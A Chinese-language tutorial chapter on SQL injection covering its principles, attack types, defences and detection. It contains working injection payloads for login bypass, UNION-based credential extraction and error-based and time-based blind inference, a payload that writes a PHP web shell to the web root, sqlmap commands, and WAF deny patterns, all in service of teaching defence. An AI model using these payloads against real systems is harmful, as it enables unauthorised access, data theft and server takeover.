跳到主要内容

SQL 注入

SQL 注入是最常见且危害最大的 Web 安全漏洞之一。它发生在应用将用户输入直接拼接到 SQL 语句中时,攻击者可以通过输入恶意 SQL 代码来操纵数据库查询。本章将详细介绍 SQL 注入的原理、类型和防护方法。

什么是 SQL 注入?

SQL 注入是一种代码注入技术,攻击者通过在用户输入中插入恶意 SQL 语句来破坏应用的数据库查询逻辑。

当应用没有正确验证或清理用户输入,并将这些输入直接拼接到 SQL 查询中时,攻击者可以:

  • 获取未授权的数据
  • 修改或删除数据
  • 绕过身份验证
  • 执行系统命令(在某些情况下)

SQL 注入的原理

让我们通过一个简单的登录功能来理解 SQL 注入的原理。

不安全的代码示例

假设有一个登录功能,使用用户输入的用户名和密码查询数据库:

// Java 不安全的登录查询
String username = request.getParameter("username");
String password = request.getParameter("password");

String sql = "SELECT * FROM users WHERE username = '" + username +
"' AND password = '" + password + "'";

ResultSet rs = statement.executeQuery(sql);
if (rs.next()) {
// 登录成功
}

当用户正常输入时,例如:

  • 用户名:admin
  • 密码:password123

生成的 SQL 是:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

攻击方式

但是,攻击者可以输入特殊构造的数据:

  • 用户名:admin' OR '1'='1
  • 密码:任意值

生成的 SQL 变成:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '任意值'

由于 '1'='1' 永远为真,这个查询会返回 admin 用户,攻击者成功绕过了身份验证!

SQL 注入的类型

1. 经典注入(Classic/Boolean-based Injection)

通过构造布尔条件来推断数据库信息。

-- 判断数据库版本
' AND (SELECT SUBSTRING(@@version,1,1))='M' --
' AND (SELECT COUNT(*) FROM users) > 0 --

攻击者可以通过不断尝试来获取:

  • 数据库名称
  • 表名和列名
  • 用户数据

2. 联合查询注入(Union-based Injection)

使用 UNION 语句获取其他表的数据。

' UNION SELECT username,password FROM admin_users --

这允许攻击者从其他表读取数据。

3. 盲注(Blind Injection)

当应用不显示数据库错误时,攻击者通过观察应用的响应来推断信息。

-- 如果条件为真,页面正常显示
' AND 1=1 --

-- 如果条件为假,页面显示异常
' AND 1=2 --

通过这种方式,攻击者可以逐字符猜测数据。

4. 报错注入(Error-based Injection)

利用数据库的错误信息获取数据。

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()))) --

数据库会返回包含敏感信息的错误消息。

5. 时间盲注(Time-based Blind Injection)

通过数据库的延迟函数来判断条件。

' AND IF(1=1,SLEEP(5),0) --

通过观察响应时间来判断条件是否成立。

实际攻击示例

示例 1:绕过登录

-- 用户名输入
admin'--

-- 生成的查询变成
SELECT * FROM users WHERE username = 'admin'--' AND password = 'xxx'
-- '--' 后面的内容被注释掉,密码验证被绕过

示例 2:获取所有用户

' UNION SELECT 1,username,password,email FROM users--

示例 3:获取数据库版本

' UNION SELECT NULL,version(),NULL,NULL--

示例 4:写入文件(在某些配置下)

' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--

SQL 注入的危害

SQL 注入可以导致:

  1. 数据泄露 - 读取敏感数据(用户密码、信用卡信息等)
  2. 数据篡改 - 修改或删除数据
  3. 权限提升 - 获取管理员权限
  4. 系统控制 - 在某些情况下执行操作系统命令
  5. 服务拒绝 - 删除或修改数据导致服务不可用
  6. 法律后果 - 数据泄露可能违反隐私法规

SQL 注入防护

1. 使用参数化查询(最有效)

参数化查询(也叫预处理语句)将用户输入与 SQL 语句分离,数据库会将输入当作数据而不是代码执行。

Java

// 不安全的写法
String sql = "SELECT * FROM users WHERE username = '" + username + "'";

// 安全的参数化查询
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();

Python

# 不安全
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")

# 安全
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

JavaScript (Node.js)

// 不安全
const query = `SELECT * FROM users WHERE username = '${username}'`;

// 安全
const query = 'SELECT * FROM users WHERE username = ?';
connection.query(query, [username]);

2. 使用 ORM 框架

大多数 ORM 框架默认使用参数化查询:

// JPA/Hibernate
User user = userRepository.findByUsername(username);

// Spring Data JPA
public interface UserRepository extends JpaRepository<User, Long> {
User findByUsername(String username);
}

3. 输入验证

虽然不能完全依赖输入验证来防止 SQL 注入,但可以作为额外层:

public boolean isValidUsername(String username) {
// 只允许字母、数字和下划线
return username.matches("^[a-zA-Z0-9_]+$");
}

4. 最小权限原则

数据库账户应该只拥有必要的权限:

-- 创建应用专用账户,只授予必要权限
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_database.* TO 'app_user'@'localhost';
-- 不授予 DROP、CREATE 等管理权限

5. 错误信息处理

不要向用户暴露数据库错误:

try {
// 数据库操作
} catch (SQLException e) {
logger.error("Database error", e);
// 显示通用错误信息
return "An error occurred. Please try again later.";
}

6. Web 应用防火墙(WAF)

WAF 可以检测和阻止常见的 SQL 注入攻击:

# Nginx 配置 WAF 规则
location / {
# 拦截常见 SQL 注入模式
if ($query_string ~ "union.*select") {
return 403;
}
if ($query_string ~ "(--|#|/\*|\*/)") {
return 403;
}
}

检测 SQL 注入

自动化工具

  1. sqlmap - 自动化 SQL 注入检测和利用工具
# 基本用法
sqlmap -u "http://target.com/page?id=1"

# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs
  1. Burp Suite - 拦截请求并测试注入点

  2. OWASP ZAP - Web 应用安全扫描器

手动测试

检查以下输入:

'        -- 单引号
" -- 双引号
OR 1=1 -- 布尔条件
UNION -- 联合查询
-- -- 注释

观察应用的响应:

  • 错误信息
  • 行为变化
  • 响应时间

实战案例

案例 1:登录绕过

假设有如下登录验证代码:

$sql = "SELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]'";
$result = mysqli_query($conn, $sql);

攻击者输入:

  • 用户名:admin' OR '1'='1
  • 密码:任意

生成的查询:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意'

由于 OR '1'='1' 永远为真,攻击者可以直接登录为 admin。

案例 2:数据提取

攻击者使用 UNION 提取其他表的数据:

' UNION SELECT 1,username,password,email FROM users--

这会返回所有用户的数据。

案例 3:盲注利用

当页面没有明显错误时,攻击者通过时间延迟来判断:

' AND IF(SUBSTRING(password,1,1)='a',BENCHMARK(1000000,SHA1(1)),0)--

如果密码第一个字符是 'a',响应会明显延迟。

最佳实践总结

  1. 始终使用参数化查询 - 这是最有效的防护
  2. 使用 ORM - 现代 ORM 默认安全
  3. 最小权限 - 数据库账户权限要最小化
  4. 输入验证 - 白名单验证,只允许预期字符
  5. 错误处理 - 不暴露数据库细节
  6. 安全更新 - 及时更新数据库和框架
  7. 代码审查 - 定期检查是否存在 SQL 注入
  8. 渗透测试 - 定期测试发现潜在漏洞

常见错误

以下是开发者常犯的错误:

// 错误 1:字符串拼接
String sql = "SELECT * FROM users WHERE id = " + userId;

// 错误 2:使用字符串格式化
String sql = String.format("SELECT * FROM users WHERE name = '%s'", name);

// 错误 3:动态构建查询
if (sortField != null) {
sql += " ORDER BY " + sortField; // 可能被注入
}

// 正确做法
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, userId);

小结

SQL 注入是一种严重的安全漏洞,攻击者可以通过它:

  1. 绕过身份验证 - 使用 ' OR '1'='1 等技巧
  2. 获取敏感数据 - 使用 UNION 提取其他表的数据
  3. 修改或删除数据 - 破坏数据库完整性
  4. 在极端情况下执行系统命令

防护要点:

  1. 参数化查询 - 将用户输入与 SQL 语句分离
  2. 输入验证 - 白名单验证,但不要依赖它作为唯一防护
  3. 最小权限 - 数据库账户只授予必要权限
  4. 错误处理 - 不向用户暴露数据库错误
  5. 安全测试 - 定期进行 SQL 注入测试

记住:永远不要相信用户输入!